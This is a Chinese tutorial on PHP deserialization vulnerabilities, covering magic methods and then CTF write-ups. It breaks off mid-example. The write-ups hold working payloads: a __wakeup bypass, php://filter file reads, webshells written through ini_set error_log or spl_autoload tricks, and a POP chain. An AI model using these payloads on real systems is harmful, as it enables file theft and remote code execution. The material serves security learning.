反序列化漏洞详解

反序列化漏洞

  • 序列化

    • 作用

      • 序列化 (Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程
      • 对象-->(序列化)-->字符串
    • 一般形式

      • <?php
        $a=null;
        echo serialize(a);
        ?>
        
    • 转换格式

      • 所有格式第一位都是数据类型的英文字母的缩写

        字符 null ---->(序列化)-----> N;
        整型 666 ---->(序列化)-----> i:666;
        浮点型 66.6 ---->(序列化)-----> d:66.6;
        布尔型 true ---->(序列化)-----> b:1;
        	  false ---->(序列化)-----> b:0;
        字符串 hahaha ---->(序列化)-----> s:6(长度):"hahaha";
        
      • 对于输入的不规则字符,如haha"haha,序列化后为 s:9:"haha"haha";

    • 序列化对象

      • 数组序列化
        • <?php
          $a=array('haha','laoniu','datou');
          echo serialize($a);
          ?>
          
        • 输出就是 a(数组简称):3(元素个数):{i:0(第一位元素);s:4:"haha";i:1(第二位元素);s:6:"laoniu";i:2(第三位元素);s:5:"dayou";}

      • 对象序列化
        • <?php
          class test{    /////抽象类
              public $b='dazhao';
              function jineng(){
                  echo $this->pub;
                  }
              }
          $a = new test(); ///转为实例对象
          echo serialize($a);
          ?>
          
        • 不能序列化,但能序列化对象
          输出 O(object):4(类名长度):"test"(类名):1(变量数量):{s:1(变量名字长度):"b"(变量名字);s:5(值的长度):"dazhao"(变量值);}

      • 私有属性序列化
        • <?php
          class test{    /////抽象类
              private $b='dazhao';  ///private修饰的私有属性
              function jineng(){
                  echo $this->b;
                  }
              }
          $a = new test(); ///转为实例对象
          echo serialize($a);
          ?>
          
        • 输出为
          O:4:"test":1:{s:7:"0test0b";s:5:"dazhao";},对于变量名的输出,由于是对私有属性序列化,会在变量名(b)前加上类名(test),此时总长度为5,然后在类名前后(test)加上"0",其输出样式类似于正方形(这里为了展示方便,手动添加0),此时总长度为7
          屏幕截图 2025-04-29 100819

        • 通过URL编码确认

          <?php
          class test{   
              private $b='dazhao';
              function jineng(){
                  echo $this->b;
              }
          }
          $a = new test();
          echo urlencode(serialize($a));
          ?>
          
        • 输出

          O%3A4%3A%22test%22%3A1%3A%7Bs%3A7%3A%22%00test%00b%22%3Bs%3A6%3A%22dazhao%22%3B%7D
          ///此时可以看出 'test'前后都多了两个 "%00",这就是通过编码展现的0(即空)
          
      • 受保护对象序列化
        • <?php
          class test{    /////抽象类
              protected $b='dazhao';  ///protected修饰的私有属性
              function jineng(){
                  echo $this->b;
                  }
              }
          $a = new test(); ///转为实例对象
          echo serialize($a);
          ?>
          
        • 输出如下,可以发现相对于私有属性的序列化,只是将类名更换为 *
          屏幕截图 2025-04-29 100950

        • 通过URL编码确认

          <?php
          class test{    /////抽象类
              protected $b='dazhao';  ///protected修饰的私有属性
              function jineng(){
                  echo $this->b;
                  }
              }
          $a = new test(); ///转为实例对象
          echo urlencode(serialize($a));
          ?>
          
        • O%3A4%3A%22test%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A6%3A%22dazhao%22%3B%7D
          /// * 经过URL编码后为%2A,故类名那一块为%00%2A%00
          
      • 多重序列化
        • <?php
          class test{    /////抽象类
              var $b='dazhao';  
              function jineng(){
                  echo $this->b;
                  }
              }
          class test2{    
              var $ben;
              function __construct(){
                  $this->ben=new test();
                  }
              }
          $a = new test2();  ///转化为实例对象
          echo serialize($a);
          ?>
          
        • 输出为O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:1:"b";s:6:"dazhao";}},在一个对象中调用另一个对象,而其对应变量名对应的值就是另外一个对象序列化后的所有输出

  • 反序列化

    • 特性

      • 反序列化之后的内容为一个对象
      • 反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
      • 反序列化不触发类的成员方法,需要调用方法后才能触发
      • 字符串-->(反序列化)-->对象
    • 示例

      • <?php
        class test{    /////抽象类
            public $p='dadada';
            function a(){
                echo $this->p . "\n";
            }
        }
        $a = new test(); ///转为实例对象
        $b = serialize($a); ///序列化
        echo $b . "\n";  ///字符串可以直接查看
        $c = unserialize($b);  ///反序列化
        var_dump($c);  ///反序列化后为对象,要使用函数查看
        $c->a();    ///调用反序列化后得到的对象 $c 的 a 方法
        ?>
        
      • 输出为

        O:4:"test":1:{s:1:"p";s:6:"dadada";}
        object(test)#2 (1) {
          ["p"]=>
          string(6) "dadada"
        }
        dadada
        
  • 反序列化漏洞

    • 成因

      • 反序列化过程中,unserialize()接收的值(字符串)可控,通过更改这个值(字符串),得到所需要的代码,通过调用方法,触发代码执行
    • 常见的魔术方法

      • __construct()函数

        • 触发方法:在实例化对象时,会自动执行此构造函数

        • 示例

          <?php
          class test{    
              public $a;
              function __construct(){
          		echo "触发了此函数";
                  }
              }
          $a=new test();
          ?>
          
        • 输出为:触发了此函数

      • __destruct()函数

        • 触发方法:对象的析构函数。当对象被销毁时,会自动调用此函数

        • 触发方法1:脚本执行结束时(当 PHP 脚本执行到末尾时,脚本中创建的所有对象都会被销毁,此时对象的 __destruct() 方法会被触发)
          <?php
          class test {
              function __destruct() {
                  echo "脚本结束,自动销毁对象触发此方法!";
              }
          }
          
          $obj = new test();
          // 脚本执行到这里结束,$obj 的 __destruct() 方法会被调用
          ?>
          

          输出为:脚本结束,自动销毁对象触发此方法!

        • 触发方法2:手动销毁对象(当使用 unset() 函数销毁一个对象变量,或者让对象变量赋值为 null 时,对象的引用计数会减少。当引用计数为 0 时,对象会被销毁,__destruct() 方法也会被触发)
          <?php
          class test {
              function __destruct() {
                  echo "对象被销毁了!";
              }
          }
          
          $obj = new test();
          unset($obj); // 手动销毁对象,__destruct() 方法会被调用
          
          
          $obj = null; // 赋值为空,同样会触发 __destruct() 方法
          ?>
          

          输出为:对象被销毁了!

        • 触发方法3:超出作用域(如果对象是在一个函数或者代码块内部创建的,当函数执行完毕或者代码块执行结束,对象会超出其作用域,从而被销毁,__destruct() 方法会被触发)
          <?php
          class test {
              function __destruct() {
                  echo "对象被销毁了!\n";
              }
          }
          
          function createObject() {
              $obj = new test();
              // 函数执行结束,$obj 超出作用域,__destruct() 方法会被调用
          }
          
          createObject();
          echo "会先输出什么呢";
          ?>
          

          输出为:

          对象被销毁了!
          会先输出什么呢
          ///可以发现先执行析构函数后再执行"echo"
          
      • __sleep()函数

        • 触发条件:使用 serialize() 函数对一个对象进行序列化操作时,PHP 会检查该对象所属的类是否定义了 __sleep() 方法。如果定义了,就会调用 __sleep() 方法,这个方法的返回值将决定哪些对象属性会被序列化

        • 示例

          <?php
          class User {
              public $name;
              public $age;
              private $password;
          
              public function __construct($name, $age, $password) {
                  $this->name = $name;
                  $this->age = $age;
                  $this->password = $password;
              }
          
              public function __sleep() {
                  // 只序列化 $name 和 $age 属性,不序列化 $password 属性
                  return ['name', 'age'];
              }
          }
          
          $user = new User('dadada', 20, 'secretpassword');
          $serialized = serialize($user);
          echo $serialized;
          ?>
          

          输出为

          O:4:"User":2:{s:4:"name";s:6:"dadada";s:3:"age";i:20;}
          ///可以发现只返回姓名和年龄,这得益于sleep函数所定义的返回值
          
        • 返回值要求:__sleep() 方法必须返回一个包含属性名的数组,否则会抛出 E_NOTICE 级别的错误,并且对象不会被序列化

        • 示例

          <?php
          class User {
              public $name;
              public $age;
              private $password;
          
              public function __construct($name, $age, $password) {
                  $this->name = $name;
                  $this->age = $age;
                  $this->password = $password;
              }
          
              public function __sleep() {
                  // 返回非数组值,会导致序列化错误
                  return "没有数组哦";
              }
          }
          
          $user = new User('dadada', 20, 'secretpassword');
          $serialized = serialize($user);
          echo $serialized;
          ?>
          

          输出为

          Notice: serialize(): __sleep() should return an array only containing the names of instance-variables to serialize in...
          
      • __wakeup()函数

        • 触发条件:运用 unserialize() 函数将一个序列化后的字符串转换回对象时,PHP 会检查该对象所属的类是否定义了 __wakeup() 方法。若已定义,就会调用此方法。该方法常被用于在对象反序列化后恢复对象的状态,例如重新建立数据库连接、初始化资源等

        • 示例

          <?php
          class User {
              public $username;
              public $rootname;
              private $password;
              private $rootpasswd;
              public function __wakeup() {
                  $this->password =$this->username;
          }
          }
          $user_ser ='O:4:"User":2:{s:8:"username";s:1:"a";s:8:"rootname";s:1:"b";}';
          var_dump(unserialize($user_ser));
          ?>
          

          输出为

          object(User)#1 (4) {
            ["username"]=>
            string(1) "a"
            ["rootname"]=>
            string(1) "b"
            ["password":"User":private]=>
            string(1) "a"
            ["rootpasswd":"User":private]=>
            NULL
          }
          ///序列化字符串中password本没有值,当反序列化时查看__weakup()函数,发现存在此函数,随即执行此函数,将username的值赋值给password,故password在反序列化之后便有了值,而rootpasswd始终无值,故输出NULL
          
        • 利用__wakeup函数连接数据库示例

          <?php
          class DatabaseConnection {
              private $host;
              private $username;
              private $password;
              private $dbname;
              private $conn;   ///存储数据库连接对象
          
              public function __construct($host, $username, $password, $dbname) {
                  $this->host = $host;
                  $this->username = $username;
                  $this->password = $password;
                  $this->dbname = $dbname;
                  $this->connect();  ///建立数据库连接
              }
          
              private function connect() {
                  $this->conn = new mysqli($this->host, $this->username, $this->password, $this->dbname);
                  if ($this->conn->connect_error) {
                      die("Connection failed: " . $this->conn->connect_error);
                  }
              }
          
              public function __sleep() {
                  // 只序列化必要的属性,不序列化数据库连接对象
                  return ['host', 'username', 'password', 'dbname'];
              }
          
              public function __wakeup() {
                  // 在反序列化后重新建立数据库连接
                  $this->connect();
              }
          
              public function getConnection() {
                  return $this->conn;
              }
          }
          
          // 创建对象并序列化
          $db = new DatabaseConnection('localhost', 'root', 'password', 'testdb');
          $serialized = serialize($db);
          
          // 反序列化对象
          $unserializedDb = unserialize($serialized);
          
          // 获取重新建立的数据库连接
          $conn = $unserializedDb->getConnection();
          var_dump($conn);
          ?>
          
        • 历史漏洞须知

          • 在 PHP 5.6.0 到 7.0.11 以及 7.1.0 到 7.1.0rc3 版本中,__wakeup() 存在一个漏洞,当序列化字符串中表示对象属性个数的值大于实际属性个数时,__wakeup() 方法不会被调用。从 PHP 7.0.12 和 7.1.0rc4 开始,这个漏洞已被修复

          • 示例漏洞利用

            <?php
            class Name{
                private $username = 'nonono';
                private $password = 'yesyes';
            
                public function __construct($username,$password){
                    $this->username = $username;
                    $this->password = $password;
                }
            
                function __wakeup(){
                    $this->username = 'guest';
                }
            
                function __destruct(){
                    if ($this->password != 100) {
                        echo "</br>NO!!!hacker!!!</br>";
                        echo "You name is: ";
                        echo $this->username;echo "</br>";
                        echo "You password is: ";
                        echo $this->password;echo "</br>";
                        die();
                    }
                    if ($this->username === 'admin') {
                        echo "恭喜你,成功利用漏洞";
                    }else{
                        echo "啊哈哈,休想利用我的漏洞";
                        die();
            
                        
                    }
                }
            }
            ?>
            
          • 简单的代码审计,可以发现只要密码为100,用户名为admin,即可成功,然而只要进行反序列化后,就会自动调用wakeup()函数,从而强制赋值,因此可以在序列化后增加对象属性个数,从而完成绕过

          • payload如下

            <?php
            class Name{
                private $username = 'admin';
                private $password = '100';
            }
            $a=new Name();
            echo serialize($a);
            ?>
            ///将需要的值进行序列化
            
          • 输出为

            O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
            
          • 将属性个数更改为大于原本属性个数的值的数(将2改为3)

            O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
            
          • 在特定版本php中运行时就可以绕过

      • __toString()函数

        • 触发条件:

          • 字符串拼接:当把对象和字符串进行拼接操作时,PHP 会自动调用对象的 __toString() 方法,将对象转换为字符串。
          • 打印输出:错误将对象当做字符串输出时(如使用 echoprint 语句输出对象),__toString() 方法会被触发,从而把对象以字符串形式输出。
          • 字符串格式化:在使用 sprintf()printf() 等函数进行字符串格式化时,如果需要将对象作为字符串处理,也会触发 __toString() 方法。
        • 示例

          <?php
          class Person {
          	var $a="羞答答";
              // 定义 __toString() 魔术方法
              public function __toString() {
                  return "干嘛又调用我";
              }
          }
          
          // 创建 Person 对象
          $person = new Person();
          
          // 触发条件 1: 字符串拼接
          $message = "下一步干什么呢:" . $person;
          echo $message . "\n";
          
          // 触发条件 2: 错误将对象当做字符串输出
          echo $person . "\n";
          
          // 触发条件 3: 字符串格式化
          printf("%s\n", $person);
          ?>
          

          输出为

          下一步干什么呢:干嘛又调用我
          干嘛又调用我
          干嘛又调用我
          
      • __invoke()函数

        • 触发条件:错把对象当做函数来调用,此时PHP 会检查该对象所属的类是否定义了 __invoke() 方法。若已定义,就会执行这个方法;若未定义,PHP 会抛出一个致命错误(php7.0以上支持)

        • 示例

          <?php
          class MyCallableClass {
              public function __invoke($a,$b) {
                  echo "拜托,是不是又调用错了\n";
                  return $a+$b;
              }
          }
          $obj = new MyCallableClass();
          // 像调用函数一样调用对象
          $c=$obj(1, 2);
          echo $c;
          ?>
          

          输出为

          拜托,是不是又调用错了
          3
          
      • __call()函数

        • 触发条件:尝试调用一个对象中并不存在或者不可访问(如私有或受保护方法且当前作用域无权访问)的方法时,PHP 会自动触发该对象所属类中定义的 __call() 方法

        • __call() 方法只能处理对象实例的方法调用,对于静态方法调用,需要使用 __callStatic() 方法。

        • __call() 方法必须是 public 访问权限,否则无法正常触发

        • 示例

          <?php
          class MagicCallExample {
              public function __call($name, $arguments) {
                  echo "你尝试调用的方法 {$name} 不存在。";
                  echo "传递的参数是:";
                  print_r($arguments);
              }
          }
          
          $obj = new MagicCallExample();
          // 尝试调用一个不存在的方法
          $obj->nonExistentMethod('欧克瑟', '焰之拿瓦');
          ?>
          

          输出为

          你尝试调用的方法 nonExistentMethod 不存在。传递的参数是:Array
          (
              [0] => 欧克瑟
              [1] => 焰之拿瓦
          )
          
        • $name:这是一个字符串类型的参数,表示被调用的不存在的方法名

        • $arguments:它是一个数组,包含了调用该不存在的方法时所传递的所有参数

      • __callStatic()函数

        • 触发条件:调用的方法不存在时触发,返回不存在的方法和参数(与call()函数类似

        • 示例

          <?php
          class MagicCallExample {
              ///此处要加上static
              public static function __callStatic($name, $arguments) {
                  echo "你尝试调用的方法 {$name} 不存在。";
                  echo "传递的参数是:";
                  print_r($arguments);
              }
          }
          
          $obj = new MagicCallExample();
          // 尝试调用一个不存在的方法
          $obj::nonExistentMethod('欧克瑟', '焰之拿瓦');  ///::表示静态调用
          ?>
          

          输出为

          你尝试调用的方法 nonExistentMethod 不存在。传递的参数是:Array
          (
              [0] => 欧克瑟
              [1] => 焰之拿瓦
          )
          
      • __get()函数

        • 触发条件:尝试访问一个对象里不可访问(如私有或受保护属性)或者不存在的属性时,PHP 会自动触发该对象所属类中定义的 __get() 方法

        • 示例

          <?php
          class test {
              public $have = '这是一个公有属性';
          	private $have_1='这是一个私有属性';
          	protected $have_2='这是一个受保护的属性';
              function __get($name) {
                      return "属性 {$name} 不存在。";
              }
          }
          
          $obj = new test();
          echo $obj->have;
          echo "\n";
          echo $obj->have_1;
          echo "\n";
          echo $obj->have_2;
          echo "\n";
          echo $obj->not;
          ?>
          

          输出为

          这是一个公有属性
          属性 have_1 不存在。
          属性 have_2 不存在。
          属性 not 不存在。
          ///只有第一个参数修饰符为public,故可以访问
          
      • __set()函数

        • 触发条件:在给不可访问或不存在的属性赋值时被自动调用,会返回不存在或不可访问的元素名以及值(实现属性的赋值控制、数据验证、日志记录等功能)

        • 示例

          <?php
          class MyClass
          {
              private $one;
              public $two;
              protected $thrid;
              public function __set($name, $value)
              {
                  echo '属性为:'.$name.' 值为:'.$value."\n";
              }
          }
          
          $obj = new MyClass();
          $obj->one = 1;
          $obj->two = 2;
          $obj->third = 3;
          $obj->fourth = '羞答答';
          ?>
          

          输出为

          属性为:one 值为:1
          属性为:third 值为:3
          属性为:fourth 值为:羞答答
          ///只有two为public,所以没有返回
          
      • __isset()函数

        • 触发条件:使用 isset() 函数或者 empty() 函数检查对象里不可访问(私有、受保护属性)或者不存在的属性时,PHP 会自动触发该对象所属类中定义的 __isset() 方法

        • 示例

          <?php
          class MyClass
          {
              private $one;
              public $two;
              protected $thrid;
              public function __isset($name)
              {
                  echo '属性为:'.$name.' 不可访问哦'."\n";
              }
          }
          
          $obj = new MyClass();
          isset($obj->one);
          empty($obj->two);
          isset($obj->third);
          empty($obj->fourth);
          ?>
          

          输出为

          属性为:one 不可访问哦
          属性为:third 不可访问哦
          属性为:fourth 不可访问哦
          
      • __clone()函数

        • 触发条件:使用clone关键字拷贝完成一个新对象时,新对象会自动调用定义的__clone()方法

        • 示例

          <?php
          class User{
              private $var1;
          	public function __clone(){
          	echo "拷贝新对象完成";
          	}
          }
          $test = new User();
          $claa=clone($test);
          ?>
          

          输出为:拷贝新对象完成

  • 反序列化漏洞实战

    • F5杯 eazy-unserialize

      • 进入例题,是一个简单的代码审计
         <?php
        include "mysqlDb.class.php";
        
        class ctfshow{
            public $method;
            public $args;
            public $cursor;
        
            function __construct($method, $args) {
                $this->method = $method;
                $this->args = $args;
                $this->getCursor();
            }
        
            function getCursor(){
                global $DEBUG;
                if (!$this->cursor)
                    $this->cursor = MySql::getInstance();
        
                if ($DEBUG) {
                    $sql = "DROP TABLE IF  EXISTS  USERINFO";
                    $this->cursor->Exec($sql);
                    $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
                    password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
        
                    $this->cursor->Exec($sql);
                    $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
                    $this->cursor->Exec($sql);
                }
            }
        
            function login() {
                list($username, $password) = func_get_args();
                $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
                $obj = $this->cursor->getRow($sql);
                $data = $obj['role'];
        
                if ( $data != null ) {
                    define('Happy', TRUE);
                    $this->loadData($data);
                }
                else {
                    $this->byebye("sorry!");
                }
            }
        
            function closeCursor(){
                $this->cursor = MySql::destroyInstance();
            }
        
            function lookme() {
                highlight_file(__FILE__);
            }
        
            function loadData($data) {
        
                if (substr($data, 0, 2) !== 'O:') {
                    return unserialize($data);
                }
                return null;
            }
        
            function __destruct() {
                $this->getCursor();
                if (in_array($this->method, array("login", "lookme"))) {
                    @call_user_func_array(array($this, $this->method), $this->args);
                }
                else {
                    $this->byebye("fuc***** hacker ?");
                }
                $this->closeCursor();
            }
        
            function byebye($msg) {
                $this->closeCursor();
                header("Content-Type: application/json");
                die( json_encode( array("msg"=> $msg) ) );
            }
        }
        
        class Happy{
            public $file='flag.php';
        
            function __destruct(){
                if(!empty($this->file)) {
                    include $this->file;
                }
            }
        
        }
        
        function ezwaf($data){
            if (preg_match("/ctfshow/",$data)){
                die("Hacker !!!");
            }
            return $data;
        }
        if(isset($_GET["w_a_n"])) {
            @unserialize(ezwaf($_GET["w_a_n"]));
        } else {
            new CTFSHOW("lookme", array());
        } 
        
      • 对于此类题,我们需要找出含有flag的一部分,可以发现如下代码
        class Happy{
            public $file='flag.php';
        
            function __destruct(){
                if(!empty($this->file)) { ///如果给file赋值,则包含所赋的值,反之则包含"flag.php"
                    include $this->file;
                }
            }
        
        }
        
        function ezwaf($data){
            if (preg_match("/ctfshow/",$data)){
                die("Hacker !!!");
            }
            return $data;
        }
        if(isset($_GET["w_a_n"])) {
            @unserialize(ezwaf($_GET["w_a_n"]));
        } else {
            new CTFSHOW("lookme", array());
        }
        
      • 通过get传参,先对传入的参数进行正则匹配,如果存在“/ctfshow/”,则退出,否则返回传入的参数,然后再进行反序列化,其中__destruct()函数的触发方式上述已讲,这里不再赘述,直接给出最后的payload
        <?php
        class Happy{
            ///源码告诉我们flag所在地
            public $file='php://filter/convert.base64-encode/resource=flag.php';
            function __destruct(){
                if(!empty($this->file)) {
                    include $this->file;
                }
            }
        
        }
        $a =new Happy();
        echo serialize($a);
        ?>
        
      • 将输出通过BP进行重发,对响应内容进行解码,告诉我们flag在"/flag"下
        O:5:"Happy":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
        

        屏幕截图 2025-04-29 213020

      • 重构payload,重复上述步骤,最后解码获得flag
        <?php
        class Happy{
            public $file='php://filter/convert.base64-encode/resource=/flag';
            function __destruct(){
                if(!empty($this->file)) {
                    include $this->file;
                }
            }
        
        }
        $a =new Happy();
        echo serialize($a);
        ?>
        ///输出为:O:5:"Happy":1:{s:4:"file";s:49:"php://filter/convert.base64-encode/resource=/flag";}
        

        屏幕截图 2025-04-29 213508

      • 获得flag:ctfshow{e50fa5a1-6a73-494b-bc05-4808f856059c}

    • 大牛杯 easy_unserialize

      • 进入例题,先对代码进行简单的审计
        highlight_file(__FILE__);
        class main{
            public $settings;
            public $params;
        
            public function __construct(){
                $this->settings=array(
                'display_errors'=>'On',
                'allow_url_fopen'=>'On'
                );
                $this->params=array();
            }
            public function __wakeup(){
                ///遍历$this->settings数组,把数组里每个键值对的键当作 PHP 配置选项名,值当作配置选项的值,接着用ini_set函数对这些 PHP 配置选项进行设置
                foreach ($this->settings as $key => $value) {
                    ini_set($key, $value);
                }
            }
        
            public function __destruct(){
                ///把 $this->params 反序列化后的数据写入到名为 settings.inc 的文件中
                file_put_contents('settings.inc', unserialize($this->params));
            }
        }
        unserialize($_GET['data']);
        ///.php文件大抵存在此目录下
        Notice: Undefined index: data in /var/www/html/index.php on line 39
        
      • 先查看代码中提及的"ini_set"的作用以及可配置项,其中表明我们自主选择option以及value,至于可选的option读者可以自行查看屏幕截图 2025-05-05 154523
      • 尝试找寻与反序列有关的配置项,发现两个与反序列优点的配置项,点击进入查看屏幕截图 2025-05-05 155121
      • 大概意思是指当使用 unserialize() 函数对一个序列化的对象进行反序列化操作时,如果被反序列化的对象所对应的类在当前环境中尚未被定义,PHP 默认会将这些未定义类的对象转换为 __PHP_Incomplete_Class 类型的对象。而 unserialize_callback_func 选项允许你指定一个回调函数,当遇到未定义的类时,PHP 会调用这个回调函数来尝试加载或定义这些类屏幕截图 2025-05-05 155323

        示例

        <?php
        // 定义回调函数
        function p($class_name) {
            echo "尝试加载类: ". $class_name. "\n";
        }
        // 设置 unserialize_callback_func 配置选项,指定p为回调函数
        ini_set('unserialize_callback_func', 'p');
        // 序列化的字符串,代表一个名为 A 的类的对象
        $b = 'O:1:"A":0:{}';
        // 进行反序列化操作
        $c = unserialize($b);
        ?>
        /*    
        输出为
        尝试加载类: A
        Warning: unserialize(): Function p() hasn't defined the class it was called for in /box/script.php on line 15
        */
        
        可以发现使用unserialize_callback_func配置项的时候会触发回调函数同时触发报错
      • (预期解)那么我们是否可以运用此特点来弄一个shell,从而获取flag,将类名设置为 'cat /f*',指定回调函数运行system,但是很遗憾,在PHP中类名只能使用一个特殊符号(' _ '下划线),所以只能想想别的办法
      • 当我们把马写入settings.inc中,如何让它运行我们所写的马呢,查询后发现spl_autoload,简单来说就是当 PHP 代码中使用到一个尚未定义的类时,PHP 会依次调用这些注册的自动加载函数,尝试根据类名加载对应的类文件屏幕截图 2025-05-05 193937
      • 那么我们就可以使用'unserialize_callback_func'=>'spl_autoload',当我们将马写入setting.inc中时,再反序列化一个类名为settings时,就会自动加载类名为settings的.php或.inc文件,这样就可以执行shell了
      • 由于会进行两次反序列化,所以别忘了函数内也要进行一次序列化,写马如下,先将第一次获得的shell提交
        <?php
        class main
        {
            public $params;
            public function __construct()
            {
                ///由于源代码传入的要是数组,所以这里的key自己选择写入
                $this->params = serialize(array(
                    "1"=>"<?php system('cat /f*');?>"
                ));
            }
        }
        
        // 第一次序列化后的结果
        $firstSerializedParams = (new main())->params;
        echo "第一次序列化结果: ". $firstSerializedParams. PHP_EOL;
        // 第二次序列化后的结果
        $secondSerializedObject = serialize(new main());
        echo "第二次序列化结果: ". $secondSerializedObject. PHP_EOL;
        ?>
        /*
        输出为:
        第一次序列化结果: a:1:{i:1;s:26:"<?php system('cat /f*');?>";}
        第二次序列化结果: O:4:"main":1:{s:6:"params";s:44:"a:1:{i:1;s:26:"<?php system('cat /f*');?>";}";}
        */
        
      • 进行包含,payload如下
        <?php
        class settings{
        }
        class main
        {
            public $settings;
            public $params;
            public function __construct()
            {
                $this->settings=array(
                    "unserialize_callback_func"=>"spl_autoload"
                );
                $this->params=serialize(new settings());
            }
        }
        
        echo serialize(new main());
        ?>
        /*
        输出为:
        O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";}
        */
        
      • 最后再进行提交,获得flag屏幕截图 2025-05-05 202526
      • (非预期解)上述提到使用unserialize_callback_func配置项的时候会触发回调函数同时触发报错,那么报错的内容放在哪里,是否可以指定,继续查询ini_set的option中是否有此选项,发现一个名为"error_log(错误日志)"的配置项,点击查看屏幕截图 2025-05-05 163403
      • 从上面的一系列分析可以知道,我们主要对$setting这个参数进行构造(写入ini_set)
        <?php
        class a{
        }
        class main{
            public $settings;
            public $params;
        
            public function __construct(){
                $this->settings=array(
                ///指定触发此配置项时的输出(只要存在一个未定义类就触发)
                'unserialize_callback_func'=>'就是这样',
                ///指定错误日志输出的php文件位置
                'error_log'=>'/var/www/html/error.php'
                );
                $this->params=serialize(new a);
            }
        }
        echo serialize(new main);
        ?>
        /*
        输出为
        O:4:"main":2:{s:8:"settings";a:2:{s:25:"unserialize_callback_func";s:12:"就是这样";s:9:"error_log";s:23:"/var/www/html/error.php";}s:6:"params";s:12:"O:1:"a":0:{}";}
        */
        
      • 提交之后,查看error.php看是否写入,发现正常写入,那么可以进行正式的写马屏幕截图 2025-05-05 170005

        屏幕截图 2025-05-05 170122

      • payload如下
        <?php
        class a{
        }
        class main{
            public $settings;
            public $params;
            public function __construct(){
                $this->settings=array(
                'unserialize_callback_func'=>'<?php system("cat /f*");?>',
                'error_log'=>'/var/www/html/error.php'
                );
                $this->params=serialize(new a);
            }
        }
        echo serialize(new main);
        ?>
        
      • 进入报错日志输出页面查看,发现并没有按原计划执行shell,可能是被转义了屏幕截图 2025-05-05 182134
      • 查看配置项,发现可以通过更改此项配置来进行关闭转义屏幕截图 2025-05-05 182357
      • 重设payload如下
        <?php
        class a{
        }
        class main{
            public $settings;
            public $params;
            public function __construct(){
                $this->settings=array(
                'unserialize_callback_func'=>'<?php system("cat /f*");?>',
                'error_log'=>'/var/www/html/error.php',
        		'html_errors'=>'0'
                );
                $this->params=serialize(new a);
            }
        }
        echo serialize(new main);
        ?>
        
      • 最后提交,查看日志页面,获得flag屏幕截图 2025-05-05 182717
    • 卷王杯 easy unserialize

      • 进入靶场,首先对源代码进行简单审计
        class one {
            public $object;
            public function MeMeMe() {
                ///使用用户自定义函数对数组中的每个元素做回调处理
                array_walk($this, function($fn, $prev){
                    if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                        global $talk;
                        echo "$talk"."</br>";
                        global $flag;
                        echo $flag;
                    }
                });
            }
        	///对象被销毁时,调用此函数
            public function __destruct() {
                @$this->object->add();
            }
        	///把对象与字符串拼接,错误的打印输出,字符串格式化时触发
            public function __toString() {
                return $this->object->string;
            }
        }
        
        class second {
            ///受保护属性,php版本7.1+可以直接将protected修改为public而不影响正常功能
            protected $filename;
        
            protected function addMe() {
                return "Wow you have sovled".$this->filename;
            }
        	///当调用对象中不存在或不可访问的方法时,触发
            public function __call($func, $args) {
                ///将不存在的方法名与"Me"进行拼接,并且传入$args作为参数
                call_user_func([$this, $func."Me"], $args);
            }
        }
        
        class third {
            ///私有属性
            private $string;
        	///实例化对象,自动触发
            public function __construct($string) {
                $this->string = $string;
            }
        	///访问对象不存在或不可访问属性时触发
            public function __get($name) {
                ///此时var的值等于name的值
                $var = $this->$name;
                ///把 $var 当作数组来处理,尝试调用数组中键为 $name 所对应的值,并且将其作为可调用的函数或者方法来执行
                $var[$name]();
            }
        }
        ///输入不为空
        if (isset($_GET["ctfshow"])) {
            $a=unserialize($_GET['ctfshow']);
            ///反序列化后接着抛出异常,导致不能正常退出,无法触发destruct函数
            throw new Exception("高一新生报道");
        } else {
            highlight_file(__FILE__);
        }
        
      • 上述简单的审计我们可以发现,由于最后抛出的异常,导致无法正常销毁对象从而触发对应的函数,所以在这里,我们需要了解一个机制,GC(回收机制),在这里不做过多解释,有兴趣点击查看其他博主的介绍,在这里做一个简单的示例

        屏幕截图 2025-05-06 152702

        屏幕截图 2025-05-06 152756

        可以发现,当我们更改空对象的key更改为0时,成功触发GC,触发析构函数
      • 那么开始构建pop链,当触发GC机制时,会触发析构函数,即GC--->class one::destruct(),此时由于不存在名为add()的方法,自然联想到call()魔术方法,即GC--->class one::destruct()--->class second::call()
      • 此时通过call_user_func()函数的作用触发addMe()函数[将不存在的方法名add与Me拼接],然后进行字符串拼接("Wow you have sovled".$this->filename),自然想到会触发tostring()函数,即GC--->class one::destruct()--->class second::call()--->class one::tostring()
      • 此时发现访问当前对象的 object 属性(该属性是一个对象)中的 string 属性($this->object->string),由于是私有属性,所以会触发get()函数,即GC--->class one::destruct()--->class second::call()--->class one::tostring()--->class third::get()
      • 那么最后我们需要考虑的就是,如何才能在最后调用MeMeMe()这个方法并且满足$fn[0] === "Happy_func" && $prev === "year_parm"
        • 问题1解决办法:通过数组调用类方法,指定传入的值为['string' => [new one(), 'MeMeMe']]
          获取属性值:$var = $this->$name; 这行代码会把 $this->string 的值赋给 $var,此时 $var 的值为 ['string' => [new one(), 'MeMeMe']]。
              
          调用 $var[$name]():接着执行 $var[$name](),也就是 $var['string']()。而 $var['string'] 的值是 [new one(), 'MeMeMe'],若想调用某类中的方法,需先实例化此类之后再添加方法名,当然这因对应的魔术方法而异
          
        • 问题2解决办法:认识array_walk()函数的作用,在此直接给出示例,一看就懂
          <?php
          class a{
              public $name = ["123", "234"];
          	//public $name1 = ["1123", "1234"];
              public function MeMeMe() {
                  array_walk($this, function($fn, $prev){
                      echo "数组名为:".$prev."\n";
                      echo "0号元素为:".$fn[0]."\n";
